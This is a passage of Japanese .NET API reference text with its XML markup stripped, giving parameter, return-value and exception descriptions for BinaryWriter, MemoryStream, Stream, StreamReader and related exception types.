リソースも解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 現在のライターのすべてのバッファーをクリアし、バッファー内のデータを基になるデバイスに書き込みます。 + 1 + + + バッキング ストアを持たない を指定します。 + 1 + + + 基になるストリームを保持します。 + + + 現在のストリーム内の位置を設定します。 + 現在のストリームの位置。 + + からのバイト オフセット。 + 新しい位置を取得するための参照ポイントを示す フィールド。 + ファイル ポインターが無効な位置に移動しました。 + + 値が無効です。 + 1 + + + 現在のストリームに 1 バイト Boolean 値を書き込みます。値 0 は false を表し、値 1 は true を表します。 + 書き込む Boolean 値 (0 または 1)。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに符号なしバイトを書き込み、ストリームの位置を 1 バイトだけ進めます。 + 書き込む符号なしバイト。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 基になるストリームにバイト配列を書き込みます。 + 書き込むデータが格納されているバイト配列。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + + は null なので、 + 1 + + + 現在のストリームにバイト配列の特定の領域を書き込みます。 + 書き込むデータが格納されているバイト配列。 + + 内の書き込み開始点。 + 書き込むバイト数。 + バッファー長から を差し引いた値が より小さい値です。 + + は null なので、 + + または が負の値です。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに Unicode 文字を書き込み、使用した Encoding とストリームに書き込んだ特定の文字に従ってストリームの現在位置を進めます。 + 書き込む非サロゲート Unicode 文字。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + + は、単一のサロゲート文字です。 + 1 + + + 現在のストリームに文字配列を書き込み、使用した Encoding とストリームに書き込んだ特定の文字に従ってストリームの現在位置を進めます。 + 書き込むデータを格納する文字配列。 + + は null なので、 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 1 + + + 現在のストリームに文字配列の特定の領域を書き込み、使用した Encoding とストリームに書き込んだ特定の文字に従ってストリームの現在位置を進めます。 + 書き込むデータを格納する文字配列。 + + 内の書き込み開始点。 + 書き込む文字数。 + バッファー長から を差し引いた値が より小さい値です。 + + は null なので、 + + または が負の値です。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに 10 進数値を書き込み、ストリームの位置を 16 バイトだけ進めます。 + 書き込む 10 進値。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに 8 バイト浮動小数点値を書き込み、ストリームの位置を 8 バイトだけ進めます。 + 書き込む 8 バイト浮動小数点値。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに 2 バイト符号付き整数を書き込み、ストリームの位置を 2 バイトだけ進めます。 + 書き込む 2 バイト符号付き整数。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに 4 バイト符号付き整数を書き込み、ストリームの位置を 4 バイトだけ進めます。 + 書き込む 4 バイト符号付き整数。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに 8 バイト符号付き整数を書き込み、ストリームの位置を 8 バイトだけ進めます。 + 書き込む 8 バイト符号付き整数。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに符号付きバイトを書き込み、ストリームの位置を 1 バイトだけ進めます。 + 書き込む符号付きバイト。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに 4 バイト浮動小数点値を書き込み、ストリームの位置を 4 バイトだけ進めます。 + 書き込む 4 バイト浮動小数点値。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 文字長プリフィックスを持つ文字列を、 の現在のエンコーディングでこのストリームに書き込み、使用したエンコーディングとストリームに書き込んだ特定の文字に従ってストリームの現在位置を進めます。 + 書き込む値。 + I/O エラーが発生しました。 + + は null なので、 + ストリームが閉じられました。 + 1 + + + 現在のストリームに 2 バイト符号なし整数を書き込み、ストリームの位置を 2 バイトだけ進めます。 + 書き込む 2 バイト符号なし整数。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに 4 バイト符号なし整数を書き込み、ストリームの位置を 4 バイトだけ進めます。 + 書き込む 4 バイト符号なし整数。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに 8 バイト符号なし整数を書き込み、ストリームの位置を 8 バイトだけ進めます。 + 書き込む 8 バイト符号なし整数。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 32 ビット整数を圧縮形式で書き込みます。 + 書き込む 32 ビット整数。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + ストリームが閉じられました。 + + + ストリームの末尾を越えて読み込もうとしたときにスローされる例外。 + 2 + + + メッセージ文字列がシステムによって提供されたメッセージに設定され、HRESULT が COR_E_ENDOFSTREAM に設定された クラスの新しいインスタンスを初期化します。 + + + メッセージ文字列を に設定し、HRESULT を COR_E_ENDOFSTREAM に設定して、 クラスの新しいインスタンスを初期化します。 + エラーを説明する文字列。 の内容は、ユーザーが理解できる内容にします。このコンストラクターの呼び出し元では、この文字列が現在のシステムのカルチャに合わせてローカライズ済みであることを確認しておく必要があります。 + + + 指定したエラー メッセージと、この例外の原因である内部例外への参照を使用して、 クラスの新しいインスタンスを初期化します。 + エラーを説明する文字列。 の内容は、ユーザーが理解できる内容にします。このコンストラクターの呼び出し元では、この文字列が現在のシステムのカルチャに合わせてローカライズ済みであることを確認しておく必要があります。 + 現在の例外の原因である例外。 パラメーターが null でない場合は、内部例外を処理する catch ブロックで現在の例外が発生します。 + + + データ ストリームが無効な形式である場合にスローされる例外。 + + + + クラスの新しいインスタンスを初期化します。 + + + 指定したエラー メッセージを使用して、 クラスの新しいインスタンスを初期化します。 + 例外の原因を説明するエラー メッセージ。 + + + この例外の原因である内部例外への参照を指定して、 クラスの新しいインスタンスを初期化します。 + 例外の原因を説明するエラー メッセージ。 + 現在の例外の原因である例外。 パラメーターが null でない場合は、内部例外を処理する catch ブロックで現在の例外が発生します。 + + + バッキング ストアとしてメモリを使用するストリームを作成します。この種類の .NET Framework ソース コードを参照して、次を参照してください。、 Reference Sourceです。 + 2 + + + + クラスの新しいインスタンスを、0 に初期化される拡張可能な容量を使用して 初期化します。 + + + 指定したバイト配列に基づいて、サイズを変更できない クラスの新しいインスタンスを初期化します。 + 現在のストリームを作成する符号なしバイトの配列。 + + は null です。 + + + + プロパティを指定どおりに設定し、指定したバイト配列に基づいて、サイズを変更できない クラスの新しいインスタンスを初期化します。 + このストリームの作成元の符号なしバイトの配列。 + ストリームが書き込みをサポートするかどうかを決定する プロパティの設定。 + + は null です。 + + + バイト配列の指定した領域 (インデックス) に基づいて、サイズを変更できない クラスの新しいインスタンスを初期化します。 + このストリームの作成元の符号なしバイトの配列。 + ストリームが開始する位置の のインデックス。 + バイト単位のストリーム長。 + + は null です。 + + または が 0 未満です。 + バッファー長から を差し引いた値が より小さい値です。 + + + + プロパティを指定どおりに設定し、バイト配列の指定した領域に基づいて、サイズを変更できない クラスの新しいインスタンスを初期化します。 + このストリームの作成元の符号なしバイトの配列。 + ストリームが開始する位置の のインデックス。 + バイト単位のストリーム長。 + ストリームが書き込みをサポートするかどうかを決定する プロパティの設定。 + + は null です。 + + または が負の値です。 + バッファー長から を差し引いた値が より小さい値です。 + + + + プロパティを指定どおりに設定し、 を呼び出す機能を指定どおりに設定して、バイト配列の指定した領域に基づき、 クラスの新しいインスタンスを初期化します。 + このストリームの作成元の符号なしバイトの配列。 + ストリームが開始する位置の のインデックス。 + バイト単位のストリーム長。 + ストリームが書き込みをサポートするかどうかを決定する プロパティの設定。 + ストリームの作成元の符号なしバイト配列を返す を有効にする場合は true。それ以外の場合は false。 + + は null です。 + + または が負の値です。 + バッファー長から を差し引いた値が より小さい値です。 + + + + クラスの新しいインスタンスを、指定に従って初期化される拡張可能な容量を使用して初期化します。 + バイト単位の内部配列の初期サイズ。 + + が負の値です。 + + + 現在のストリームが読み取りをサポートしているかどうかを示す値を取得します。 + ストリームが開いている場合は true。 + 2 + + + 現在のストリームがシークをサポートしているかどうかを示す値を取得します。 + ストリームが開いている場合は true。 + 2 + + + 現在のストリームが書き込みをサポートしているかどうかを示す値を取得します。 + ストリームが書き込みをサポートしている場合は true。それ以外の場合は false。 + 2 + + + ストリームに割り当てられたバイト数を取得または設定します。 + ストリームに対してバッファーが使用できる部分の長さ。 + 容量が負の値または現在のストリーム長より小さい値に設定されています。 + 現在のストリームが閉じています。 + 容量を変更できないストリームに対して set が呼び出されました。 + 2 + + + 指定されたバッファー サイズを使用して、現在のストリームからすべてのバイトを非同期に読み取り、指定されたバッファー サイズとキャンセル トークンを使用して、別のストリームに書き込みます。 + 非同期のコピー操作を表すタスク。 + 現在のストリームの内容のコピー先のストリーム。 + バッファーのサイズ (バイト数)。これは、0 より大きい値である必要があります。 + キャンセル要求を監視するためのトークン。 + + は null です。 + + が負の値またはゼロです。 + 現在のストリームまたはコピー先ストリームは破棄されます。 + 現在のストリームが読み取りをサポートしていないか、コピー先のストリームが書き込みをサポートしていません。 + + + + クラスによって使用されているアンマネージ リソースを解放し、オプションでマネージ リソースも解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + アクションが実行されないように、 メソッドをオーバーライドします。 + 2 + + + このストリームのすべてのバッファーを非同期的にクリアし、キャンセル要求を監視します。 + 非同期のフラッシュ操作を表すタスク。 + キャンセル要求を監視するためのトークン。 + ストリームは破棄されています。 + + + バイト単位のストリーム長を取得します。 + バイト単位のストリーム長。 + ストリームが閉じられました。 + 2 + + + ストリームの現在位置を取得または設定します。 + ストリーム内の現在位置。 + 位置が負の値または より大きい値に設定されています。 + ストリームが閉じられました。 + 2 + + + 現在のストリームからバイトのブロックを読み取り、データをバッファーに書き込みます。 + バッファーに書き込まれた合計バイト数。要求しただけのバイト数を読み取ることができなかった場合、この値は要求したバイト数より小さくなります。また、データを読み取る前にストリームの末尾に到達した場合は 0 になります。 + このメソッドが戻るとき、指定したバイト配列の から ( + - 1) までの値が、現在のストリームから読み取られた文字に置き換えられています。 + 現在のストリームからのデータの格納を開始する位置を示す 内のバイト オフセット。インデックス番号は 0 から始まります。 + 読み取る最大バイト数。 + + は null です。 + + または が負の値です。 + バッファー長から を差し引いた値が より小さい値です。 + 現在のストリーム インスタンスが閉じています。 + 2 + + + 現在のストリームから非同期的にバイト シーケンスを非同期に読み取り、読み取ったバイト数だけストリーム内の位置を進め、キャンセル要求を監視します。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、バッファーに読み込まれるバイトの合計数が含まれます。現在使用できるバイト数が要求した数より小さい場合、結果の値は要求したバイト数より小さくなることがあります。また、ストリームの末尾に到達した場合は 0 になることがあります。 + データを書き込むバッファー。 + ストリームからのデータの書き込み開始位置を示す 内のバイト オフセット。 + 読み取る最大バイト数。 + キャンセル要求を監視するためのトークン。既定値は です。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + ストリームは読み取りをサポートしません。 + ストリームは破棄されています。 + ストリームは現在、前の読み取り操作で使用中です。 + + + 現在のストリームからバイトを読み取ります。 + + にキャストしたバイト。ストリームの末尾に達した場合は -1。 + 現在のストリーム インスタンスが閉じています。 + 2 + + + 現在のストリーム内の位置を指定した値に設定します。 + 初期参照ポイントとオフセットを組み合わせて計算するストリーム内の新しい位置。 + ストリームの新しい位置。これは パラメーターに対する相対値であり、正または負の値にできます。 + シーク参照ポイントとして機能する 型の値。 + ストリームの先頭より前をシークしようとしました。 + + が より大きくなっています。 + 無効な があります。または によって算術オーバーフローが発生しました。 + 現在のストリーム インスタンスが閉じています。 + 2 + + + 現在のストリーム長を指定した値に設定します。 + 長さを設定する値。 + 現在のストリームのサイズが変更できません。 が現在の容量を超えています。または 現在のストリームが書き込みをサポートしません。 + + が負または の最大長より大きな値です。最大長は、( - origin) で計算され、origin は、ストリームが開始する位置を示す基になるバッファーのインデックスです。 + 2 + + + + プロパティには関係なく、ストリームの内容をバイト配列に書き込みます。 + 新しいバイト配列。 + 2 + + + このストリームの作成元の符号なしバイトの配列を返します。戻り値は、変換が成功したかどうかを示します。 + 変換が成功した場合は true。それ以外の場合は false。 + このストリームの作成元のバイト配列セグメント。 + + + バッファーから読み取ったデータを使用して、現在のストリームにバイトのブロックを書き込みます。 + データの書き込み元となるバッファー。 + 現在のストリームへのバイトのコピーを開始する位置を示す 内のバイト オフセット。インデックス番号は 0 から始まります。 + 書き込む最大バイト数。 + + は null です。 + ストリームは書き込みをサポートしません。詳細については、 のトピックを参照してください。または 現在の位置が、ストリームの末尾に向かって バイトよりも近い位置にあり、容量を変更できません。 + バッファー長から を差し引いた値が より小さい値です。 + + または が負の値です。 + I/O エラーが発生しました。 + 現在のストリーム インスタンスが閉じています。 + 2 + + + 現在のストリームにバイト シーケンスを非同期に書き込み、書き込んだバイト数だけストリーム内の現在位置を進め、キャンセル要求を監視します。 + 非同期の書き込み操作を表すタスク。 + データの書き込み元となるバッファー。 + ストリームへのバイトのコピーを開始する位置を示す 内のバイト オフセット。インデックス番号は 0 から始まります。 + 書き込む最大バイト数。 + キャンセル要求を監視するためのトークン。既定値は です。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + ストリームは書き込みをサポートしません。 + ストリームは破棄されています。 + ストリームは現在、前の書き込み操作で使用中です。 + + + 現在のストリーム内の現在位置に 1 バイトを書き込みます。 + 書き込むバイト。 + ストリームは書き込みをサポートしません。詳細については、 のトピックを参照してください。または 現在の位置がストリームの末尾になっており、容量を変更できません。 + 現在のストリームが閉じています。 + 2 + + + メモリ ストリームの内容全体を別のストリームに書き込みます。 + このメモリ ストリームが書き込まれるストリーム。 + + は null です。 + 現在のストリームまたは対象のストリームは閉じています。 + 2 + + + シークに使用するストリームの場所を指定します。 + 2 + + + ストリームの先頭を指定します。 + + + ストリーム内の現在位置を指定します。 + + + ストリームの末尾を指定します。 + + + バイト シーケンスのジェネリック ビューを提供します。これは抽象クラスです。この種類の .NET Framework ソース コードを参照して、次を参照してください。、 Reference Sourceです。 + 2 + + + + クラスの新しいインスタンスを初期化します。 + + + 派生クラスでオーバーライドされた場合は、現在のストリームが読み取りをサポートするかどうかを示す値を取得します。 + ストリームが読み込みをサポートしている場合は true。それ以外の場合は false。 + 1 + + + 派生クラスでオーバーライドされた場合は、現在のストリームがシークをサポートするかどうかを示す値を取得します。 + ストリームがシークをサポートしている場合は true。それ以外の場合は false。 + 1 + + + 現在のストリームがタイムアウトできるかどうかを決定する値を取得します。 + 現在のストリームがタイムアウトできるかどうかを決定する値。 + 2 + + + 派生クラスでオーバーライドされた場合は、現在のストリームが書き込みをサポートするかどうかを示す値を取得します。 + ストリームが書き込みをサポートしている場合は true。それ以外の場合は false。 + 1 + + + 現在のストリームからバイトを読み取り、別のストリームに書き込みます。 + 現在のストリームの内容のコピー先のストリーム。 + + は null です。 + 現在のストリームは読み取りをサポートしていません。または は、書き込みをサポートしません。 + + メソッドが呼び出される前に、現在のストリームまたは が閉じられました。 + I/O エラーが発生しました。 + + + 指定されたバッファー サイズを使用して、現在のストリームからバイトを読み取り、別のストリームに書き込みます。 + 現在のストリームの内容のコピー先のストリーム。 + バッファーのサイズ。これは、0 より大きい値である必要があります。既定のサイズは 81920 です。 + + は null です。 + + が負の値またはゼロです。 + 現在のストリームは読み取りをサポートしていません。または は、書き込みをサポートしません。 + + メソッドが呼び出される前に、現在のストリームまたは が閉じられました。 + I/O エラーが発生しました。 + + + 現在のストリームからすべてのバイトを非同期に読み取り、別のストリームに書き込みます。 + 非同期のコピー操作を表すタスク。 + 現在のストリームの内容のコピー先のストリーム。 + + は null です。 + 現在のストリームまたはコピー先ストリームは破棄されます。 + 現在のストリームが読み取りをサポートしていないか、コピー先のストリームが書き込みをサポートしていません。 + + + 指定されたバッファー サイズを使用して、現在のストリームからバイトを非同期に読み取り、別のストリームに書き込みます。 + 非同期のコピー操作を表すタスク。 + 現在のストリームの内容のコピー先のストリーム。 + バッファーのサイズ (バイト数)。これは、0 より大きい値である必要があります。既定のサイズは 81920 です。 + + は null です。 + + が負の値またはゼロです。 + 現在のストリームまたはコピー先ストリームは破棄されます。 + 現在のストリームが読み取りをサポートしていないか、コピー先のストリームが書き込みをサポートしていません。 + + + 指定されたバッファー サイズを使用して、現在のストリームからバイトを非同期に読み取り、指定されたバッファー サイズとキャンセル トークンを使用して、別のストリームに書き込みます。 + 非同期のコピー操作を表すタスク。 + 現在のストリームの内容のコピー先のストリーム。 + バッファーのサイズ (バイト数)。これは、0 より大きい値である必要があります。既定のサイズは 81920 です。 + キャンセル要求を監視するためのトークン。既定値は です。 + + は null です。 + + が負の値またはゼロです。 + 現在のストリームまたはコピー先ストリームは破棄されます。 + 現在のストリームが読み取りをサポートしていないか、コピー先のストリームが書き込みをサポートしていません。 + + + + によって使用されているすべてのリソースを解放します。 + + + + で使用されているアンマネージ リソースを解放し、オプションでマネージ リソースを解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 派生クラスによってオーバーライドされた場合は、ストリームに対応するすべてのバッファーをクリアし、バッファー内のデータを基になるデバイスに書き込みます。 + I/O エラーが発生しました。 + 2 + + + ストリームに対応するすべてのバッファーを非同期にクリアし、バッファー内のデータを基になるデバイスに書き込みます。 + 非同期のフラッシュ操作を表すタスク。 + ストリームは破棄されています。 + + + ストリームに対応するすべてのバッファーを非同期にクリアし、バッファー内のデータを基になるデバイスに書き込み、キャンセル要求を監視します。 + 非同期のフラッシュ操作を表すタスク。 + キャンセル要求を監視するためのトークン。既定値は です。 + ストリームは破棄されています。 + + + 派生クラスでオーバーライドされた場合は、ストリームの長さをバイト単位で取得します。 + ストリーム長 (バイト単位) を表す long 値。 + Stream から派生したクラスがシークをサポートしていません。 + ストリームが閉じられた後でメソッドが呼び出されました。 + 1 + + + バッキング ストアを持たない Stream。 + 1 + + + 派生クラスでオーバーライドされた場合は、現在のストリーム内の位置を取得または設定します。 + ストリーム内の現在位置。 + I/O エラーが発生しました。 + ストリームがシークをサポートしていません。 + ストリームが閉じられた後でメソッドが呼び出されました。 + 1 + + + 派生クラスによってオーバーライドされた場合は、現在のストリームからバイト シーケンスを読み取り、読み取ったバイト数の分だけストリームの位置を進めます。 + バッファーに読み取られた合計バイト数。要求しただけのバイト数を読み取ることができなかった場合、この値は要求したバイト数より小さくなります。ストリームの末尾に到達した場合は 0 (ゼロ) になることがあります。 + バイト配列。このメソッドが戻るとき、指定したバイト配列の から ( + -1) までの値が、現在のソースから読み取られたバイトに置き換えられます。 + 現在のストリームから読み取ったデータの格納を開始する位置を示す 内のバイト オフセット。インデックス番号は 0 から始まります。 + 現在のストリームから読み取る最大バイト数。 + + と の合計値が、バッファー長より大きい値です。 + + は null です。 + + または が負の値です。 + I/O エラーが発生しました。 + ストリームは読み取りをサポートしません。 + ストリームが閉じられた後でメソッドが呼び出されました。 + 1 + + + 現在のストリームからバイト シーケンスを非同期に読み取り、読み取ったバイト数だけストリーム内の位置を進めます。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、バッファーに読み込まれるバイトの合計数が含まれます。現在使用できるバイト数が要求した数より小さい場合、結果の値は要求したバイト数より小さくなることがあります。また、ストリームの末尾に到達した場合は 0 になることがあります。 + データを書き込むバッファー。 + ストリームからのデータの書き込み開始位置を示す 内のバイト オフセット。 + 読み取る最大バイト数。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + ストリームは読み取りをサポートしません。 + ストリームは破棄されています。 + ストリームは現在、前の読み取り操作で使用中です。 + + + 現在のストリームから非同期的にバイト シーケンスを非同期に読み取り、読み取ったバイト数だけストリーム内の位置を進め、キャンセル要求を監視します。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、バッファーに読み込まれるバイトの合計数が含まれます。現在使用できるバイト数が要求した数より小さい場合、結果の値は要求したバイト数より小さくなることがあります。また、ストリームの末尾に到達した場合は 0 になることがあります。 + データを書き込むバッファー。 + ストリームからのデータの書き込み開始位置を示す 内のバイト オフセット。 + 読み取る最大バイト数。 + キャンセル要求を監視するためのトークン。既定値は です。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + ストリームは読み取りをサポートしません。 + ストリームは破棄されています。 + ストリームは現在、前の読み取り操作で使用中です。 + + + ストリームから 1 バイトを読み取り、ストリーム内の位置を 1 バイト進めます。ストリームの末尾の場合は -1 を返します。 + Int32 にキャストされた符号なしバイト。ストリームの末尾の場合は -1。 + ストリームは読み取りをサポートしません。 + ストリームが閉じられた後でメソッドが呼び出されました。 + 2 + + + ストリームがタイムアウト前に読み取りを試行する期間を決定する値 (ミリ秒単位) を取得または設定します。 + ストリームがタイムアウト前に読み取りを試行する期間を決定する値 (ミリ秒単位)。 + + メソッドは、常に をスローします。 + 2 + + + 派生クラスでオーバーライドされた場合は、現在のストリーム内の位置を設定します。 + 現在のストリーム内の新しい位置。 + + パラメーターからの相対バイト オフセット。 + 新しい位置を取得するために使用する参照ポイントを示す 型の値。 + I/O エラーが発生しました。 + ストリームがシークをサポートしていません。たとえば、ストリームがパイプまたはコンソール出力によって生成された可能性があります。 + ストリームが閉じられた後でメソッドが呼び出されました。 + 1 + + + 派生クラスでオーバーライドされた場合は、現在のストリームの長さを設定します。 + 現在のストリームの希望の長さ (バイト数)。 + I/O エラーが発生しました。 + ストリームが書き込みとシークの両方をサポートしていません。たとえば、ストリームがパイプまたはコンソール出力によって生成された可能性があります。 + ストリームが閉じられた後でメソッドが呼び出されました。 + 2 + + + 派生クラスによってオーバーライドされた場合は、現在のストリームにバイト シーケンスを書き込み、書き込んだバイト数の分だけストリームの現在位置を進めます。 + バイト配列。このメソッドは、 から現在のストリームに、 で指定されたバイト数だけコピーします。 + 現在のストリームへのバイトのコピーを開始する位置を示す 内のバイト オフセット。インデックス番号は 0 から始まります。 + 現在のストリームに書き込むバイト数。 + 合計  と  がバッファーの長さより大きい。 + + nullです。 + + または  が負の値です。 + 指定したファイルが見つからないなど、I/O エラーが発生しました。 + ストリームは書き込みをサポートしません。 + + ストリームが閉じられた後が呼び出されました。 + 1 + + + 現在のストリームにバイト シーケンスを非同期に書き込み、書き込んだバイト数だけストリーム内の現在位置を進めます。 + 非同期の書き込み操作を表すタスク。 + データの書き込み元となるバッファー。 + ストリームへのバイトのコピーを開始する位置を示す 内のバイト オフセット。インデックス番号は 0 から始まります。 + 書き込む最大バイト数。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + ストリームは書き込みをサポートしません。 + ストリームは破棄されています。 + ストリームは現在、前の書き込み操作で使用中です。 + + + 現在のストリームにバイト シーケンスを非同期に書き込み、書き込んだバイト数だけストリーム内の現在位置を進め、キャンセル要求を監視します。 + 非同期の書き込み操作を表すタスク。 + データの書き込み元となるバッファー。 + ストリームへのバイトのコピーを開始する位置を示す 内のバイト オフセット。インデックス番号は 0 から始まります。 + 書き込む最大バイト数。 + キャンセル要求を監視するためのトークン。既定値は です。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + ストリームは書き込みをサポートしません。 + ストリームは破棄されています。 + ストリームは現在、前の書き込み操作で使用中です。 + + + ストリームの現在位置にバイトを書き込み、ストリームの位置を 1 バイトだけ進めます。 + ストリームに書き込むバイト。 + I/O エラーが発生しました。 + ストリームが書き込みをサポートしていないか、既に閉じています。 + ストリームが閉じられた後でメソッドが呼び出されました。 + 2 + + + ストリームがタイムアウト前に書き込みを試行する期間を決定する値 (ミリ秒単位) を取得または設定します。 + ストリームがタイムアウト前に書き込みを試行する期間を決定する値 (ミリ秒単位)。 + + メソッドは、常に をスローします。 + 2 + + + 特定のエンコーディングのバイト ストリームから文字を読み込む を実装します。この種類の .NET Framework ソース コードを参照して、次を参照してください。、 Reference Sourceです。 + 1 + + + 指定したストリーム用の クラスの新しいインスタンスを初期化します。 + 読み込まれるストリーム。 + + が読み取りをサポートしていません。 + + は null です。 + + + バイト順マーク検出オプションを設定して、指定したストリーム用の クラスの新しいインスタンスを初期化します。 + 読み込まれるストリーム。 + ファイルの先頭にあるバイト順序マークを検索するかどうかを示します。 + + が読み取りをサポートしていません。 + + は null です。 + + + 文字エンコーディングを設定して、指定したストリーム用の クラスの新しいインスタンスを初期化します。 + 読み込まれるストリーム。 + 使用する文字エンコーディング。 + + が読み取りをサポートしていません。 + + または が null です。 + + + 文字エンコーディングとバイト順マーク検出オプションを設定して、指定したストリーム用の クラスの新しいインスタンスを初期化します。 + 読み込まれるストリーム。 + 使用する文字エンコーディング。 + ファイルの先頭にあるバイト順序マークを検索するかどうかを示します。 + + が読み取りをサポートしていません。 + + または が null です。 + + + 文字エンコーディング、バイト順マーク検出オプション、およびバッファー サイズを設定して、指定したストリーム用の クラスの新しいインスタンスを初期化します。 + 読み込まれるストリーム。 + 使用する文字エンコーディング。 + ファイルの先頭にあるバイト順序マークを検索するかどうかを示します。 + 最小バッファー サイズ。 + ストリームは読み取りをサポートしません。 + + または が null です。 + + が 0 以下です。 + + + 指定した文字エンコーディング、バイト順マーク検出オプション、およびバッファー サイズに基づいて、指定したストリーム用の クラスの新しいインスタンスを初期化し、必要に応じて、ストリームを開いたままにします。 + 読み取るストリーム。 + 使用する文字エンコーディング。 + ファイルの先頭にあるバイト順序マークを検索する場合は true。それ以外の場合は false。 + 最小バッファー サイズ。 + + オブジェクトを破棄した後にストリームを開いたままにする場合は true、それ以外の場合は false。 + + + 基になるストリームを返します。 + 基になるストリーム。 + 2 + + + 現在の オブジェクトが使用している現在の文字エンコーディングを取得します。 + 現在のリーダーが使用している現在の文字エンコーディング。 の メソッドを最初に呼び出した後、現在の文字エンコーディングを示す値が異なる場合があります。これは、 メソッドの最初の呼び出しまでエンコードの自動検出が実行されないためです。 + 2 + + + 内部バッファーをクリアします。 + 2 + + + 基になるストリームを閉じ、 によって使用されているアンマネージ リソースを解放します。任意でマネージ リソースも解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 現在のストリームの位置がストリームの末尾かどうかを示す値を取得します。 + 現在のストリームの位置がストリームの末尾の場合は true。それ以外の場合は false。 + 基になるストリームは破棄されています。 + 1 + + + 空のストリームの オブジェクト。 + 1 + + + 読み取り可能な次の文字を返しますが、その文字は使用されません。 + 読み取り対象の次の文字を表す整数。読み取り対象の文字が存在しない場合またはストリームがシークをサポートしていない場合は -1。 + I/O エラーが発生しました。 + 1 + + + 入力ストリームから次の文字を読み込み、1 文字分だけ文字位置を進めます。 + 入力ストリームの次の文字を オブジェクトで表した値。使用できる文字がない場合は -1。 + I/O エラーが発生しました。 + 1 + + + 指定したインデックスを開始位置として、現在のストリームから、指定された最大文字数をバッファー内に読み取ります。 + 読み込まれた文字数。ストリームの末尾でデータが読み込まれなかった場合は 0。この数値は、ストリーム内に使用できるデータがあるかどうかによって異なりますが、 パラメーター以下の数値になります。 + このメソッドが戻るとき、指定した文字配列の から () までの値が、現在のソースから読み取られた文字に置き換えられています。 + 書き込みの開始位置を示す のインデックス。 + 読み取り対象の最大文字数。 + バッファー長から を差し引いた値が より小さい値です。 + + は null です。 + + または が負の値です。 + I/O エラーが発生しました。たとえば、ストリームがクローズされています。 + 1 + + + 指定した最大文字数を現在のストリームから非同期的に読み取り、バッファーの指定したインデックス位置にそのデータを書き込みます。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、バッファーに読み込まれるバイトの合計数が含まれます。現在使用できるバイト数が要求した数より小さい場合、結果の値は要求したバイト数より小さくなることがあります。また、ストリームの末尾に到達した場合は 0 になることがあります。 + このメソッドが戻るとき、指定した文字配列の から ( + - 1) までの値が、現在のソースから読み取られた文字に置き換えられます。 + 書き込みを開始する 内の位置。 + 読み取り対象の最大文字数。指定された文字数をバッファーに書き込む前にストリームの末尾に到達した場合は現在のメソッドが返ります。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + ストリームは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + 指定した最大文字数を現在のストリームから読み取り、バッファーの指定したインデックス位置にそのデータを書き込みます。 + 読み取られた文字数。この数値は、すべての入力文字が読み取られたかどうかによって異なりますが、 以下の数値になります。 + このメソッドが戻るとき、指定した文字配列の から () までの値が、現在のソースから読み取られた文字に置き換えられています。 + 書き込みを開始する 内の位置。 + 読み取り対象の最大文字数。 + + は null です。 + バッファー長から を差し引いた値が より小さい値です。 + + または が負の値です。 + + が閉じています。 + I/O エラーが発生しました。 + + + 指定した最大文字数を現在のストリームから非同期的に読み取り、バッファーの指定したインデックス位置にそのデータを書き込みます。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、バッファーに読み込まれるバイトの合計数が含まれます。現在使用できるバイト数が要求した数より小さい場合、結果の値は要求したバイト数より小さくなることがあります。また、ストリームの末尾に到達した場合は 0 になることがあります。 + このメソッドが戻るとき、指定した文字配列の から ( + - 1) までの値が、現在のソースから読み取られた文字に置き換えられます。 + 書き込みを開始する 内の位置。 + 読み取り対象の最大文字数。指定された文字数をバッファーに書き込む前にストリームの末尾に到達した場合、メソッドは制御を返します。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + ストリームは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + 現在のストリームから 1 行分の文字を読み取り、そのデータを文字列として返します。 + 入力ストリームからの次の行。入力ストリームの末尾に到達した場合は null。 + 返される文字列用のバッファーを割り当てるためにはメモリが不足しています。 + I/O エラーが発生しました。 + 1 + + + 現在のストリームから非同期的に 1 行分の文字を読み取り、そのデータを文字列として返します。 + 